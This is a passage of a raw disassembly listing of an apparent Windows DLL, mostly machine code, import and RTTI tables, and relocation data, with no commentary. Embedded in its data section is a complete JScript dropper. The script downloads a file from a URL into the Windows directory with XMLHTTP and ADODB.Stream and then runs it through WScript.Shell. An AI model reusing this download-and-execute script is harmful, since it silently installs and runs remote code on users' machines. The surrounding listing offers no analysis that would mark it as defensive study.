; ---------------------------------------------------------------------------

loc_40FEE8:				; CODE XREF: sub_40FED8+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_40FEF2:				; CODE XREF: sub_40FED8+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_40FED8	endp

; ---------------------------------------------------------------------------
		db 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_40FEF8	proc near		; CODE XREF: .data:0040EE06p
		cmp	cl, 40h
		jnb	short loc_40FF13
		cmp	cl, 20h
		jnb	short loc_40FF08
		shrd	eax, edx, cl
		sar	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_40FF08:				; CODE XREF: sub_40FEF8+8j
		mov	eax, edx
		sar	edx, 1Fh
		and	cl, 1Fh
		sar	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_40FF13:				; CODE XREF: sub_40FEF8+3j
		sar	edx, 1Fh
		mov	eax, edx
		retn
sub_40FEF8	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF28	proc near		; CODE XREF: sub_40F8AB+35p

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_40FF3D
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------

loc_40FF3D:				; CODE XREF: sub_40FF28+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]

loc_40FF42:				; CODE XREF: sub_40FF28+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40FF42
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_40FF28	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 8 dup(0)
		dd 313Ch, 314Ah, 3158h,	3166h, 3172h, 317Eh, 318Ch, 31A0h
		dd 31B0h, 31C2h, 31CEh,	31E4h, 31F0h, 3206h, 3216h, 3226h
		dd 0
		dd 3246h, 0
		dd 3270h, 325Eh, 0
		dd 6425h, 41h, 6C6C6163h, 6B636162h, 6425h, 6F727265h
		dd 72h,	6B6Fh, 0
		dd 1, 2, 3 dup(1), 0
		dd 30E4h, 2 dup(0)
		dd 3238h, 3000h, 3128h,	2 dup(0)
		dd 3252h, 3044h, 3130h,	2 dup(0)
		dd 3282h, 304Ch, 5 dup(0)
		dd 313Ch, 314Ah, 3158h,	3166h, 3172h, 317Eh, 318Ch, 31A0h
		dd 31B0h, 31C2h, 31CEh,	31E4h, 31F0h, 3206h, 3216h, 3226h
		dd 0
		dd 3246h, 0
		dd 3270h, 325Eh, 0
		dd 6C4701EEh, 6C61626Fh, 6F6C6C41h, 1FD0063h, 626F6C47h
		dd 69536C61h, 657Ah, 6C4701F5h,	6C61626Fh, 65657246h, 3B60000h
		dd 7274736Ch, 41797063h, 3B90000h, 7274736Ch, 6E797063h
		dd 0EF0041h, 65657246h,	7262694Ch, 797261h, 65470177h
		dd 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0248h, 694C6461h
		dd 72617262h, 4179h, 65470198h,	6F725074h, 64644163h, 73736572h
		dd 3AD0000h, 7274736Ch,	41746163h, 26B0000h, 746C754Dh
		dd 74794269h, 576F5465h, 43656469h, 726168h, 736C03BCh
		dd 656C7274h, 416Eh, 69570387h,	68436564h, 6F547261h, 746C754Dh
		dd 74794269h, 1690065h,	4C746547h, 45747361h, 726F7272h
		dd 3730000h, 74726956h,	416C6175h, 636F6C6Ch, 3790000h
		dd 74726956h, 506C6175h, 65746F72h, 7463h, 4E52454Bh, 32334C45h
		dd 6C6C642Eh, 2D60000h,	72707377h, 66746E69h, 53550041h
		dd 32335245h, 6C6C642Eh, 80000h, 49534C43h, 6F724644h
		dd 7274536Dh, 676E69h, 74530134h, 676E6972h, 6D6F7246h
		dd 44495547h, 6C6F0032h, 2E323365h, 6C6C64h, 2 dup(0)
		dd 40C0EE1Ah, 0
		dd 32FEh, 1, 2 dup(7), 32B8h, 32D4h, 32F0h, 1000h, 15E2h
		dd 102Fh, 10B6h, 1566h,	1717h, 10D5h, 3309h, 330Fh, 3314h
		dd 3319h, 331Eh, 3322h,	332Ah, 10000h, 30002h, 50004h
		dd 79530006h, 6D657473h, 6C6C642Eh, 6C6C4100h, 4300636Fh
		dd 6C6C61h, 79706F43h, 65724600h, 65470065h, 6E490074h
		dd 4F343674h, 74530070h, 65726Fh, 34h dup(0)
		dd 1000h, 0E0h,	300E3005h, 30363023h, 30823040h, 30AD3091h
		dd 30C430BBh, 30E030D0h, 30F430EEh, 31463105h, 3154314Ch
		dd 31B43159h, 31CD31BAh, 31EB31D5h, 320431F3h, 3228320Ah
		dd 32393230h, 32503248h, 3263325Dh, 32753270h, 3297328Eh
		dd 32CB32BEh, 349F32D2h, 34C334BCh, 350C3501h, 3536352Fh
		dd 35543542h, 356B355Bh, 357F3574h, 35C335A9h, 35F435ECh
		dd 367635FEh, 36F936EAh, 3726370Fh, 377B3731h, 3A2438E4h
		dd 3A763A6Ch, 3B7A3A89h, 3C333C2Ch, 3D013C91h, 3EA13E3Ah
		dd 3EC23EB2h, 3EE73EE0h, 3F0D3F09h, 3F153F11h, 3F1D3F19h
		dd 3F253F21h, 3F2D3F29h, 3F353F31h, 3F3D3F39h, 3F453F41h
		dd 3F4D3F49h, 3F553F51h, 3F5D3F59h, 3FDE3F61h, 3FE6h, 2000h
		dd 0CCh, 30B13056h, 30DB30D0h, 30F330E2h, 310F3102h, 314A3116h
		dd 321031A4h, 32243217h, 3236322Fh, 32473242h, 325E3257h
		dd 32763267h, 32873280h, 32BD329Bh, 32E032C4h, 332E3308h
		dd 334D3347h, 3367335Fh, 3390338Ah, 33A33395h, 33AE33A9h
		dd 33C333B6h, 33D633C8h, 33E133DCh, 33F033E7h, 340533FFh
		dd 341F340Bh, 34533449h, 34913489h, 34A33497h, 34C034BBh
		dd 34DF34D9h, 352134E6h, 35463535h, 35663552h, 35803574h
		dd 359C3587h, 35DC35A2h, 35EB35E4h, 35F835EFh, 36073601h
		dd 36233614h, 36463628h, 36C2365Eh, 37DB36D7h, 37EB37E2h
		dd 37F837F1h, 380237FDh, 380C3807h, 38183812h, 15h dup(0)
aNalsoftware	db 'nalSoftware',0
aDllcanunloadno	db 'DllCanUnloadNow',0
aDllgetclassobj	db 'DllGetClassObject',0
		align 4
		dd 2F5h	dup(0)
		dd 1001272Ch, 1001CE1Ah, 1001CE3Ch, 1001CE52h, 1001CDC1h
		dd 1001CDE9h, 1001CE04h, 1001CD90h, 1001CDB0h, 0
		dd 1001CE30h, 2	dup(0)
		dd 10010EEDh, 10015C49h, 10017910h, 100137A6h, 2 dup(0)
		dd 10015CF2h, 2	dup(0)
		dd 100137B9h, 4	dup(0)
		dd 10001000h, 1001E160h, 0
a_?avcatlexcept	db '.?AVCAtlException@ATL@@',0
		dd 1001D888h, 1001D874h, 1001D85Ch, 1001D848h, 1001D828h
		dd 1001D810h, 1001D7E4h, 1001D7C8h, 1001D7B4h, 0
		dd 0FFFFFFFFh, 1001D4CCh, 10023EA4h, 1,	4 dup(0)
		dd 1001E160h, 0
a_?avexception@	db '.?AVexception@@',0
		dd 1001E160h, 0
a_?avbad_cast@@	db '.?AVbad_cast@@',0
		align 4
		dd 0BB40E64Eh, 19930520h, 3 dup(0)
		dd 1001E160h, 0
a_?avtype_info@	db '.?AVtype_info@@',0
		dd 10013758h, 0
		dd 10014575h, 100128DAh, 10013758h, 0FFFFFFFFh,	0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 3	dup(0)
		dd 1, 0
		dd 1, 0
		dd 1, 22h dup(0)
		dd 10h,	0
		dd 43h,	0
		dd 1, 8	dup(0)
		dd 2 dup(1), 3 dup(0)
		dd 10023B5Ch, 3	dup(0)
		dd 1001E8E0h, 10023AA0h, 0
		dd 10023280h, 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	21h dup(0)
		dd 1001E7A0h, 0
		dd 1001888Bh, 1001E794h, 10023278h, 1001888Bh, 1001E788h
		dd 10023278h, 1001866Fh, 1001E77Ch, 10023278h, 10018430h
		dd 1001E770h, 10023278h, 1001818Ah, 1001E768h, 10023278h
		dd 100180CCh, 1, 16h, 2	dup(2),	3, 2, 4, 18h, 5, 0Dh, 6
		dd 9, 7, 0Ch, 8, 0Ch, 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h
		dd 0Dh,	16h, 0Fh, 2, 10h, 0Dh, 11h, 2 dup(12h),	2, 21h
		dd 0Dh,	35h, 2,	41h, 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h
		dd 0Dh,	57h, 16h, 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h,	70h, 1Ch
		dd 72h,	9, 6, 16h, 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h
		dd 84h,	0Dh, 91h, 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h,	0Bh, 0A7h
		dd 0Dh,	0B7h, 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch, 1001E8E0h
		dd 1001EAE2h, 10024D60h, 0
		dd 10024D60h, 101h, 2 dup(0)
		dd 1000h, 4 dup(0)
		dd 2, 1, 6 dup(0)
		dd 2 dup(2), 8Dh dup(0)
		dd 0FFFFFFFFh, 0A80h, 8	dup(0)
		dd 0C0000005h, 0Bh, 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
		dd 3, 7, 78h, 0Ah, 2, 1001F0F0h, 8, 1001F0C4h, 9, 1001F098h
		dd 0Ah,	1001F000h, 10h,	1001EFD4h, 11h,	1001EFA4h, 12h
		dd 1001EF80h, 13h, 1001EF54h, 18h, 1001EF1Ch, 19h, 1001EEF4h
		dd 1Ah,	1001EEBCh, 1Bh,	1001EE84h, 1Ch,	1001EE5Ch, 1Dh
		dd 1001EDB8h, 78h, 1001EDA8h, 79h, 1001ED98h, 7Ah, 1001ED88h
		dd 0FCh, 1001ED84h, 0FFh, 1001ED74h, 2 dup(0)
		dd 8040201h, 0
		dd 3A4h, 82798260h, 21h, 0
		dd 0DFA6h, 0
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
		dd 1, 10023AA0h, 1001F324h, 1001F320h, 1001F31Ch, 1001F318h
		dd 1001F314h, 1001F310h, 1001F30Ch, 1001F304h, 1001F2FCh
		dd 1001F2F4h, 1001F2E8h, 1001F2DCh, 1001F2D4h, 1001F2C8h
		dd 1001F2C4h, 1001F2C0h, 1001F2BCh, 1001F2B8h, 1001F2B4h
		dd 1001F2B0h, 1001F2ACh, 1001F2A8h, 1001F2A4h, 1001F2A0h
		dd 1001F29Ch, 1001F298h, 1001F290h, 1001F284h, 1001F27Ch
		dd 1001F274h, 1001F2B4h, 1001F26Ch, 1001F264h, 1001F25Ch
		dd 1001F250h, 1001F248h, 1001F23Ch, 1001F230h, 1001F22Ch
		dd 1001F228h, 1001F21Ch, 1001F208h, 1001F1FCh, 409h, 1
		dd 0
		dd 2Eh,	10023B58h, 9 dup(1002475Ch), 2 dup(7F7F7F7Fh)
		dd 10023B5Ch, 1, 2Eh, 1, 0
		dd 7080h, 1, 0FFFFF1F0h, 0
		dd 545350h, 0Fh	dup(0)
		dd 544450h, 0Fh	dup(0)
		dd 10023BB0h, 10023BF0h, 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
		dd 1, 1001E160h, 0
a_?av?_iosb@h@s	db '.?AV?$_Iosb@H@std@@',0
		dd 1001E160h, 0
a_?avios_base@s	db '.?AVios_base@std@@',0
		align 4
		dd 1001E160h, 0
a_?avruntime_er	db '.?AVruntime_error@std@@',0
		dd 1001E160h, 0
a_?avfailure@io	db '.?AVfailure@ios_base@std@@',0
		align 4
		dd 0FFFFFFFFh, 1001E160h, 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
		dd 1001E160h, 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
		dd 1001E160h, 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
		dd 10020338h, 2	dup(10020334h),	10020330h, 1002032Ch, 2	dup(10020328h)
		dd 10020324h, 10020320h, 1002031Ch, 10020318h, 10020314h
		dd 10020310h, 1002030Ch, 0
		dd 1001E160h, 0
a_?avfacet@loca	db '.?AVfacet@locale@std@@',0
		align 4
		dd 1001E160h, 0
a_?av_locimp@lo	db '.?AV_Locimp@locale@std@@',0
		align 10h
		dw 0Ah
		unicode	0, <>,0
		align 8
aCopyrightC1992	db 'Copyright (c) 1992-2001 by P.J. Plauger, licensed by Dinkumware, '
		db 'Ltd. ALL RIGHTS RESERVED.',0
		align 4
		dd 460h	dup(0)
		dd 10000h, 17h,	80000018h, 3 dup(0)
		dd 10000h, 4, 80000030h, 3 dup(0)
		dd 10000h, 0
		dd 48h,	27060h,	407h, 4	dup(0)
aVarXmlhttpNewA	db 'var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");',0Dh,0Ah
		db 'var BinaryStream = new ActiveXObject("ADODB.Stream");',0Dh,0Ah
		db 'var WShell = new ActiveXObject("WScript.Shell");',0Dh,0Ah
		db 0Dh,0Ah
		db 'function SaveBinaryData(filename, data) {',0Dh,0Ah
		db 9,'BinaryStream.Type = 1; ',0Dh,0Ah
		db 9,'BinaryStream.Open();',0Dh,0Ah
		db 9,'BinaryStream.Write(data);',0Dh,0Ah
		db 9,'BinaryStream.SaveToFile(filename, 2);',0Dh,0Ah
		db 9,'BinaryStream.Close();',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function urlGet(url) {',0Dh,0Ah
		db 9,'var result = false;',0Dh,0Ah
		db 9,'try {',0Dh,0Ah
		db 9,9,'xmlhttp.open(',27h,'GET',27h,', url, false /* asynchronous */);',0Dh,0Ah
		db 9,9,'xmlhttp.send();',0Dh,0Ah
		db 9,9,'if (xmlhttp.status == 200) result = true;',0Dh,0Ah
		db 9,'} catch (e) { ; }',0Dh,0Ah
		db 9,'return result;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function urlSaveFile(url, path, filename) {',0Dh,0Ah
		db 9,'var m = url.match(/([^\/]*?)($|\?)/);',0Dh,0Ah
		db 9,'if (!filename) filename = (m && m[1]) ? m[1] : "file";',0Dh,0Ah
		db 9,'CW.Write(url);',0Dh,0Ah
		db 9,'if (urlGet(url)) {',0Dh,0Ah
		db 9,'    var fname = path + ',27h,'\\',27h,' + filename;',0Dh,0Ah
		db 9,9,'SaveBinaryData(fname, xmlhttp.responseBody);',0Dh,0Ah
		db 9,9,'return fname;',0Dh,0Ah
		db 9,'}',0Dh,0Ah
		db 9,'return false;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 'function rAdd() {',0Dh,0Ah
		db 9,'var fname = urlSaveFile(urlo, WShell.ExpandEnvironmentStrings("%'
		db 'windir%"));',0Dh,0Ah
		db 9,'if (fname) WShell.Exec(fname);',0Dh,0Ah
		db 9,'return fname;',0Dh,0Ah
		db '}',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah,0
		dd 2E6h	dup(0)
		dd 1000h, 74h, 3024300Ah, 304C3040h, 30633058h,	30A7308Dh
		dd 30CF30B7h, 31503113h, 31F631DFh, 34E1332Fh, 34F834EBh
		dd 350F3502h, 35263519h, 353D3530h, 35543547h, 356B355Eh
		dd 35823575h, 3599358Ch, 35AC35A3h, 36B635B6h, 37B8378Bh
		dd 385637DEh, 38D438B0h, 390E38F9h, 39883965h, 3A9D39FDh
		dd 3D8A3B46h, 3E2A3DEAh, 3E9Ah,	2000h, 50h, 30363024h
		dd 32FB30B6h, 34493331h, 34AA3490h, 360034C5h, 368E3620h
		dd 39E837DDh, 3A2B3A26h, 3AED3A5Dh, 3B2B3B11h, 3B513B32h
		dd 3B863B58h, 3C0A3BADh, 3C6B3C5Ah, 3C843C7Fh, 3C9C3C91h
		dd 3CB73CA6h, 3CC1h, 3000h, 54h, 38BB3040h, 38C338BFh
		dd 38CB38C7h, 38D338CFh, 38DB38D7h, 38E338DFh, 38EB38E7h
		dd 38F338EFh, 38FB38F7h, 390338FFh, 390B3907h, 3913390Fh
		dd 391B3917h, 3923391Fh, 392B3927h, 3933392Fh, 393B3937h
		dd 3E7639D6h, 3EBFh, 4000h, 0Ch, 312F30E6h, 5000h, 4Ch
		dd 38563004h, 3B643A76h, 3C163B70h, 3C4E3C28h, 3C873C7Ah
		dd 3C9D3C96h, 3CC13CAFh, 3CE63CD3h, 3D133D07h, 3D323D25h
		dd 3D563D3Ch, 3D8A3D72h, 3E323DEAh, 3E8C3E3Eh, 3F443F2Dh
		dd 3F613F4Eh, 3F86h, 6000h, 0BCh, 318F3188h, 31D53199h
		dd 31EE31DDh, 32B63240h, 32D432CFh, 32E332DAh, 3391331Ch
		dd 340F33E7h, 342D3418h, 34573440h, 34BD3493h, 3558352Ah
		dd 36013592h, 365F3646h, 366D3667h, 3684367Eh, 369D3696h
		dd 36BD36AAh, 372C36CAh, 37453736h, 375E374Fh, 3788376Bh
		dd 37A537A0h, 37B437ABh, 387C37E4h, 38A0388Eh, 38C238AEh
		dd 38DE38CCh, 38FE38EEh, 39323926h, 39693942h, 398F397Eh
		dd 39AB399Bh, 3A1439CFh, 3A5A3A54h, 3A883A7Fh, 3AD63A8Fh
		dd 3BA53B30h, 3C0B3C06h, 3CF63CD2h, 3D393D30h, 3E263DB5h
		dd 3F333EA6h, 3FC73FB6h, 3FE53FD8h, 7000h, 60h,	3034301Ah
		dd 30513044h, 310E30FCh, 31A63136h, 345C3246h, 3494346Eh
		dd 34A2349Ah, 354E3544h, 35753558h, 38F4357Fh, 3974390Ch
		dd 3982397Ah, 39D439A6h, 3A113A05h, 3A283A1Ch, 3B563AB0h
		dd 3B9F3B6Fh, 3C603C13h, 3CC33C6Ch, 3DC73D05h, 3EC63DCDh
		dd 3F23h, 8000h, 40h, 30EB3046h, 312B30F0h, 328931F6h
		dd 34493318h, 350734ECh, 35C4350Fh, 361635EAh, 36893640h
		dd 37463737h, 37B6376Ch, 384E37D3h, 3BA83B88h, 3BFC3BE6h
		dd 3CE9h, 9000h, 2Ch, 347131FBh, 35DE34E7h, 37EC3609h
		dd 380F3807h, 389C384Fh, 38BF38B7h, 3DE43B46h, 3DF23DEAh
		dd 3E5Eh, 0A000h, 28h, 322430C6h, 3286323Ch, 32DD32B0h
		dd 34D13336h, 36F63586h, 3D1638A0h, 3D863D40h, 3E9C3E86h
		dd 0B000h, 48h,	31433046h, 3157314Ch, 333C32CFh, 35833566h
		dd 37513745h, 391B3836h, 3BF83BDDh, 3CA83C18h, 3CE63CC8h
		dd 3D153D0Dh, 3D653D58h, 3DE53D7Ch, 3DF73DEEh, 3EA63E16h
		dd 3EE73EE2h, 3FBC3F98h, 0C000h, 58h, 303C301Ch, 331132F6h
		dd 33763358h, 33A5339Dh, 33F533E8h, 3476340Ch, 35423506h
		dd 35C83547h, 370C35ECh, 3774374Dh, 37B9377Dh, 385E37F9h
		dd 386D3867h, 3AA53A0Ah, 3B733AC3h, 3BF83BD8h, 3C9E3C4Ch
		dd 3D783D5Dh, 3E313E16h, 3FD63EA6h, 0D000h, 60h, 30E530A6h
		dd 316B311Eh, 32E63226h, 33663300h, 33C13391h, 341A33F1h
		dd 34B63463h, 364E3516h, 385237F0h, 386B385Dh, 38E538A4h
		dd 38FF38ECh, 396E3903h, 39C539ACh, 3AA53A62h, 3B863B4Eh
		dd 3BCB3B9Ch, 3CE53C43h, 3D6E3D3Eh, 3E303DF1h, 3F363EC3h
		dd 3FAAh, 0E000h, 44h, 30B6309Bh, 315230CFh, 316E315Dh
		dd 32D73179h, 331032E2h, 367A331Bh, 39833854h, 39D039A3h
		dd 3A843A24h, 3B323ABAh, 3BD43BB6h, 3D223CEAh, 3DCB3D82h
		dd 3EE63EACh, 3F41h, 0F000h, 78h, 30ED3058h, 312C310Dh
		dd 319C315Ch, 31C031B5h, 31CF31C9h, 31DC31D5h, 31E831E3h
		dd 31F731EFh, 320431FDh, 3212320Ch, 323D3219h, 325A3248h
		dd 32973290h, 32C032BCh, 32C832C4h, 33423337h, 33BE338Eh
		dd 34793456h, 35C5352Ah, 369335E3h, 371836F8h, 37BE376Ch
		dd 38F63866h, 3A593A44h, 3D643A9Eh, 3DF63DDDh, 3FD43FCAh
		dd 3FF43FE4h, 10000h, 0E4h, 3030300Dh, 30703042h, 317130B7h
		dd 31B73199h, 32103200h, 327B3244h, 32A2328Ah, 32D232CBh
		dd 334932EBh, 346F33F2h, 34C934B1h, 357534CEh, 374A372Fh
		dd 37D13790h, 3854383Ah, 3875385Dh, 38E33882h, 39113904h
		dd 396F3923h, 39823975h, 39ED39B7h, 3A613A5Bh, 3AB83AB2h
		dd 3B033AC8h, 3B133B09h, 3B803B68h, 3B8F3B87h, 3B983B94h
		dd 3BC53B9Ch, 3C093BEBh, 3C143C10h, 3C1C3C18h, 3C243C20h
		dd 3C2C3C28h, 3C7C3C76h, 3C843C80h, 3CEE3C88h, 3D143CF9h
		dd 3D203D1Bh, 3D283D24h, 3D733D49h, 3DAC3DA5h, 3DB43DB0h
		dd 3DBC3DB8h, 3DC43DC0h, 3E123DC8h, 3E1C3E18h, 3E243E20h
		dd 3E7C3E70h, 3EB23E83h, 3ECB3EC5h, 3EDC3ED0h, 3EFB3EE4h
		dd 3F0E3F09h, 3F18h, 11000h, 9Ch, 30DA30CCh, 311630E3h
		dd 312E3128h, 31853172h, 32FE31A0h, 35F833C3h, 36173610h
		dd 3624361Fh, 362C3628h, 367B3655h, 36A03699h, 36A836A4h
		dd 36B036ACh, 36B836B4h, 370636BCh, 3710370Ch, 37183714h
		dd 3789377Eh, 37AB37A4h, 37B437B0h, 37D937B8h, 38353803h
		dd 3840383Ch, 38483844h, 3850384Ch, 38583854h, 38A838A2h
		dd 38B038ACh, 398938B4h, 39A2399Ah, 3A1E39E0h, 3A443A23h
		dd 3A753A5Fh, 3CEE3CA2h, 3DF73DB2h, 3F593EF8h, 3FEDh, 12000h
		dd 90h,	30E330C0h, 310F30EEh, 3195315Eh, 332432CAh, 33703333h
		dd 33CE33B6h, 33FA33E2h, 346C3406h, 3485347Dh, 34A0348Eh
		dd 34BA34AEh, 34EB34E6h, 352234F5h, 3545353Dh, 3583354Bh
		dd 359A3589h, 35E535CBh, 366F35FCh, 36BC36ADh, 36E136D8h
		dd 37493733h, 375D3755h, 37713765h, 3787377Fh, 37A23798h
		dd 37DA37AAh, 37F037E4h, 381537FAh, 385F381Eh, 389B388Fh
		dd 38DD38C5h, 391C3912h, 3A7A39ACh, 3CA23ADEh, 13000h
		dd 11Ch, 31F031E8h, 320231FCh, 32233213h, 32313229h, 32583252h
		dd 32703263h, 32933287h, 33293301h, 3394338Dh, 33ED33D9h
		dd 340133FBh, 3420341Ah, 3431342Ch, 343F3439h, 344C3446h
		dd 34593453h, 34673461h, 3473346Eh, 347D3478h, 34883482h
		dd 3491348Ch, 349C3496h, 34C334A4h, 34D434C9h, 355134DDh
		dd 35623558h, 3598358Ch, 35C1359Eh, 35E135C8h, 35F935F3h
		dd 36113602h, 36C936A9h, 379A3784h, 37AD37A7h, 37BB37B2h
		dd 37C837C1h, 37F337D1h, 380937FAh, 38263820h, 383F3833h
		dd 384F3846h, 387D3856h, 38933889h, 38A5389Bh, 38B938ABh
		dd 38C638BFh, 38DA38D3h, 38E838E0h, 38F938EEh, 3B403901h
		dd 3B543B4Eh, 3B733B6Eh, 3B8B3B82h, 3BA33B98h, 3BC83BB5h
		dd 3BD93BD3h, 3BE43BDEh, 3C0E3BF1h, 3C1F3C14h, 3C2C3C24h
		dd 3C3C3C32h, 3C573C42h, 3C643C5Eh, 3C783C72h, 3C833C7Dh
		dd 3C9D3C91h, 3CCC3CBBh
		dd 3CE33CD2h, 3D46h, 14000h, 0FCh, 30E730E1h, 31733122h
		dd 33B933AEh, 33D433C1h, 33F533EFh, 340533FEh, 34493419h
		dd 3460345Bh, 348E3484h, 34B53495h, 34DB34D0h, 34E834E2h
		dd 34FB34F0h, 350A3502h, 35213510h, 35313526h, 35503536h
		dd 35A33598h, 35F135EBh, 36A83693h, 373836C0h, 374C373Eh
		dd 377F3759h, 379D3796h, 37BA37A3h, 37D237C1h, 37E737D9h
		dd 380F37FBh, 38533821h, 386D3863h, 38833879h, 3896388Bh
		dd 38DD38C1h, 390B38FEh, 39AA3938h, 3A3239C6h, 3AAA3A77h
		dd 3AC23AB0h, 3B033AE0h, 3B593B30h, 3BD23B92h, 3BE13BDAh
		dd 3BFF3BF0h, 3C1D3C0Eh, 3D2A3C34h, 3D813D61h, 3DD03D97h
		dd 3DFA3DEAh, 3E063DFFh, 3E183E0Eh, 3E283E22h, 3E603E52h
		dd 3E763E6Eh, 3E873E81h, 3EFA3E98h, 3F3D3F02h, 3F5D3F58h
		dd 3F853F69h, 3FA43F8Eh, 3FCC3FBCh, 3FF6h, 15000h, 0D4h
		dd 3041302Ch, 307A306Ch, 30A6308Ch, 30F630C1h, 31073102h
		dd 31463112h, 31693161h, 318E3172h, 31D031A2h, 31ED31E8h
		dd 31FA31F3h, 320F31FFh, 322B3215h, 32523243h, 32853266h
		dd 32E832AFh, 3348331Ah, 33DE3350h, 342B3417h, 34553439h
		dd 34DC34D4h, 34FC34F0h, 350C3504h, 351C3514h, 352C3524h
		dd 353C3534h, 354C3544h, 355C3554h, 35743565h, 365D3631h
		dd 386D3822h, 38B23896h, 3914390Ch, 39783966h, 3A1B39DFh
		dd 3AE33ABAh, 3B423B2Dh, 3BAF3BA1h, 3C4A3BBDh, 3C753C64h
		dd 3C8E3C80h, 3CA33C9Ch, 3CBB3CB2h, 3CE83CCCh, 3D0B3CF9h
		dd 3D303D14h, 3D5D3D53h, 3D823D66h, 3DAC3DA5h, 3E753E65h
		dd 3FBE3F47h, 16000h, 0B8h, 30DA3067h, 310A30E7h, 31303122h
		dd 3226313Eh, 33C23297h, 34473439h, 348F3459h, 352E3499h
		dd 35503538h, 35863578h, 370B3594h, 3744372Fh, 378C3786h
		dd 37E03798h, 380737E6h, 38573822h, 386F385Eh, 38A7389Dh
		dd 38E438CCh, 394D391Fh, 39AD395Bh, 39C439B3h, 3A0439E2h
		dd 3A213A12h, 3A643A57h, 3AA63A9Bh, 3AC03AAEh, 3B1D3ACBh
		dd 3C0C3BF3h, 3C5D3C4Ch, 3C6C3C65h, 3C793C71h, 3CD73CD0h
		dd 3CEF3CE5h, 3D143D08h, 3D273D20h, 3DA53D53h, 3DF73DBBh
		dd 3E133E07h, 3E4B3E1Ah, 3E5E3E57h, 3F123EA1h, 3F313F17h
		dd 3FE73F37h, 17000h, 110h, 3034301Ah, 30523047h, 308E3065h
		dd 30CD309Ah, 310130E2h, 311F3113h, 3148312Fh, 3162315Bh
		dd 31923183h, 31C631A4h, 31D531CFh, 31EA31E5h, 31FB31F4h
		dd 32093203h, 32173211h, 3228321Eh, 3237322Fh, 3259323Ch
		dd 32813269h, 32AB3292h, 3426340Ah, 3482343Eh, 3491348Ch
		dd 349B3496h, 34BC34AEh, 352A34C2h, 354E3536h, 35723565h
		dd 35AA358Dh, 35C535B8h, 35EF35D5h, 360D35FBh, 3637361Bh
		dd 366C3654h, 368C3683h, 36C53692h, 36F736D7h, 371E36FDh
		dd 37333724h, 3741373Ah, 3767374Ah, 3782377Ch, 3791378Ah
		dd 37C3379Ch, 37ED37DFh, 380437F7h, 381B380Eh, 382D3824h
		dd 386F3839h, 387F3877h, 38AE3894h, 38D738C7h, 391238E3h
		dd 39343923h, 394B3941h, 395D3955h, 396C3963h, 39783973h
		dd 39863981h, 39D039B9h, 3A0F39EBh, 3A463A19h, 3B263AA4h
		dd 3B683B47h, 3BDF3B8Fh, 3BE6h,	18000h,	190h, 310A30CEh
		dd 31183110h, 3123311Fh, 31423138h, 315F3154h, 317B3170h
		dd 319E3195h, 31B331A5h, 31D131C4h, 31DC31D7h, 31FE31E2h
		dd 3242322Dh, 32E13252h, 32EE32E7h, 32FE32F6h, 331E330Dh
